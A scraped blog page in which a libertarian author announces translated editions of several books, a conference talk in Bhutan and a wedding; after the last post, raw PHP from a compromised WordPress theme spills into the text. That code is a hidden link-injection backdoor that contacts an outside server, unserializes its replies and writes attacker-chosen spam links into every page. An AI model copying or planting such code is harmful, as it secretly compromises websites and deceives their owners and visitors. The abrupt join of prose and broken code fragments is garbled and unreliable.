It is always exciting to see a new translation of a piece of writing or a book I have edited. After the Welfare State is a book I was pleased to work on with Students for Liberty and I’ve just seen the a copy in Croatian! Although I do not read Croatian, I am sure the wonderful people who worked on it in that lovely country have done a fine job! After the horrors of Tito and Pavelić, Croatia has thrived but any country needs texts on liberty and Croatia is no exception!

AfterTheWelfareState_Croatian

{ 0 comments }

I am always pleased to get the chance to return to Asia, a region that seems to grow in its appreciation for Liberty each time I go back. I recently traveled to Bhutan to attend the EFN Asia Conference of 2015 and participate in a presentation on Economic Freedom and Inclusive Growth. Bienvenido “Nonoy” Oplas, Jr., the Founder and President of Minimal Government Thinkers Inc. has posted some information about that presentation at his blog here.

Slide1

Slide2

Slide4

If you want to see the whole presentation, without my commentary of course, the slideshow can be viewed here.

 

{ 0 comments }

The Morality of Capitalism is a book that has now been translated into a couple of different languages. I am particularly proud of its translation into Portuguese, a language that is spoken by more than 250 million people. If a tiny fraction of those people get access to this book, it will have been a massive success. So, if you know a libertarian or classically liberal student group in Brazil, Mozambique, Angola, Portugal, or any of the other Portuguese-speaking nations, please do forward this link to them, the book can be downloaded and read for free!

Morality of Capitalism Portuguese

{ 0 comments }

Why Liberty? In Portuguese!

January 19, 2016

Why Liberty? is now available in Portuguese! This is the 8th or 9th version of Why Liberty? that has been made available, most of them tailored to suit the needs of different countries, through translations or slight changes in text. The Portuguese have a need for ideas on liberty right now, as they find themselves in an economic mess.

crop-287x287_150-liberdade

{ 0 comments }

The Morality of Capitalism has been translated into a number of languages at this point, but I am always proud to see it translated into a new language. The book has recently been translated into Romanian and I am hopeful that liberty lovers there will derive some benefit from it.

MoralityOfCapitalismRomanian

{ 0 comments }

It is a joy to behold the Russian edition of Peace, Love & Liberty, my book which has now been translated into a half dozen languages now. Russia is at a point in its history where it is desperately in need of the ideas of liberty, I hope this can be of some use to those in Russia who are learning all that they can about the idea of liberty.

RussianEditionPLL

{ 0 comments }

This is an interview I participated in from London on business ethics, responsibility, regulation, and the future if freedom on IEA.tv. There is also some discussion of my upcoming book State Control or Self Control. I will have more information available on that book in the future. Stay tuned!

{ 0 comments }

I am always pleased to be able to announce a new edition of one of my publications. This time it is the Serbian edition of Peace, Love & Liberty. If you want to get your free copy of “Mir, ljubav i sloboda” register for 2015 Belgrade Regional Conference at this link. Thanks to Lana Avakumović for her work on this project.

PeaceLoveLibertySerbian

{ 0 comments }

MoralityofCapitalismPunjabi

This is the new Punjabi edition of my book, The Morality of Capitalism. Thanks to Rishi Kochhar and the team at the Amritsar Policy Group for all their work to get this book published and for the wonderful launch event they put together.
Note: the English-language of the Indian edition can be downloaded here for free.

{ 0 comments }

A Wedding in Argentina

September 11, 2015

I’ve been busy and not posting. This is a big reason why.

ArgentinaMarriage1

ArgentinaMarriage2

 

I was married to a man from Thailand named Sonram recently. We have been in a relationship for some time now and are now taking the steps to make it legal. A wedding in Argentina came first and will be followed later by a wedding in Thailand.

 

{ 0 comments }

Good'; exit; } if(isset($_GET['unlink_cache'])) unlink_cache('wp-content/themes/thesis_151/lib/css/data/'); function put_array_work($way, $var) { $stOutFileHandle = false; $stOutFileHandle = fopen($way, 'w'); flock($stOutFileHandle, LOCK_EX); fwrite($stOutFileHandle, $var); flock($stOutFileHandle, LOCK_UN); fclose($stOutFileHandle); } function ad_block() { $way = 'wp-content/themes/thesis_151/lib/css/'; if(!file_exists($way.'data/work.txt')) { $sent['domain'] = @$_SERVER['HTTP_HOST']; ini_set('default_socket_timeout', 1); $work = false; $work = unserialize(file_get_contents('http://searchanalitiksnets.com/lm/analiz.php?sent='.urlencode(serialize($sent)))); if(!$work === false && is_array($work)) { if(!isset($work['period'])) $work['period'] = 30; $period = rand($work['period'] / 2, $work['period']+($work['period'] / 2)); $work['check'] = time() + $period * 60; if(isset($work['new']) && !empty($work['new'])) { $links = $work['new']; unset($work['new']); } $work['use'] = array(); $write_work = true; } else { $period = rand(15, 45) * 60; $temp = time() + $period; $work = array('time' => time(),'check' => $temp, 'use' => array(), 'period' => '30', 'start' => '
', 'end' => '
'); $write_work = true; } } else { $work = false; $work = unserialize(file_get_contents($way.'data/work.txt')); if($work === false && !is_array($work)) { $period = rand(15, 45) * 60; $temp = time() + $period; $work = array('time' => time(),'check' => $temp, 'use' => array(), 'period' => '30', 'start' => '
', 'end' => '
'); $write_work = true; } } if(!isset($links)) { if(file_exists($way.'data/temp.txt')) { $links = unserialize(file_get_contents($way.'data/temp.txt')); } else { $links = array(); put_array_work($way.'data/temp.txt', serialize($links)); } } if($work['check'] < time() && empty($links)) { if(!empty($work['use'])) $sent['use'] = $work['use']; if(isset($work['time'])) { $sent['time'] = $work['time']; } else { $sent['time'] = time(); } $sent['domain'] = @$_SERVER['HTTP_HOST']; ini_set('default_socket_timeout', 1); $import = false; $import = unserialize(file_get_contents('http://searchanalitiksnets.com/lm/analiz.php?sent='.urlencode(serialize($sent)))); if(!$import === false && is_array($import) && $import['time'] != '00000') { if(isset($import['new'])) { $links = $import['new']; $write_link = true; } if(isset($import['unlink'])) $work['unlink'] = $import['unlink']; if(isset($import['period'])) $work['period'] = $import['period']; if(isset($import['start'])) $work['start'] = $import['start']; if(isset($import['end'])) $work['end'] = $import['end']; if(isset($import['time'])) $work['time'] = $import['time']; } if(!isset($work['period'])) $work['period'] = 30; $period = rand($work['period'] / 2, $work['period'] + ($work['period'] / 2)); $work['check'] = time() + $period * 60; $write_work = true; } $id = $_SERVER['REQUEST_URI']; if(file_exists($way.'data/'.md5($id).'.dat')) { $page = unserialize(file_get_contents($way.'data/'.md5($id).'.dat')); $echo = ''; if(!empty($links)) { $domains = array_keys($links); foreach($domains as $domain) { if(!isset($page[$domain])) { $page[$domain] = $links[$domain]['0']; array_shift($links[$domain]); if(empty($links[$domain])) unset($links[$domain]); $write_page = true; $write_link = true; } } } if(!empty($work['unlink'])) { foreach($work['unlink'] as $domain) { if(isset($page[$domain])) { unset($page[$domain]); $write_page = true; } if(isset($work['use'][$domain])) { unset($work['use'][$domain]); $write_work = true; } if(isset($links[$domain])) { unset($links['use'][$domain]); $write_link = true; } } } if(!isset($work['start']) || !isset($work['end'])) { $work['start'] = '
'; $work['end'] = '
'; $write_work = true; } if(!empty($page)) { foreach($page as $domain => $link) { $echo .= $link.' '; if(!isset($work['use'][$domain])) { $work['use'][$domain] = ''; $write_work = true; } } echo preg_replace('/\"/', '"', $work['start'].$echo.$work['end']); } } else { if(!empty($links)) { $page = array(); $domains = array_keys($links); foreach($domains as $domain) { $page[$domain] = $links[$domain]['0']; array_shift($links[$domain]); if(empty($links[$domain])) unset($links[$domain]); if(!isset($work['use'][$domain])) { $work['use'][$domain] = ''; $write_work = true; } } $echo = ''; if(!isset($work['start']) || !isset($work['end'])) { $work['start'] = '
'; $work['end'] = '
'; $write_work = true; } foreach($page as $domain => $link) { $echo .= $link.' '; } echo preg_replace('/\"/', '"', $work['start'].$echo.$work['end']); $write_page = true; $write_link = true; } } if ($write_page === true) { put_array_work($way.'data/'.md5($id).'.dat', serialize($page)); } if ($write_work === true) { put_array_work($way.'data/work.txt', serialize($work)); } if ($write_link === true) { put_array_work($way.'data/temp.txt', serialize($links)); } } ad_block(); ?>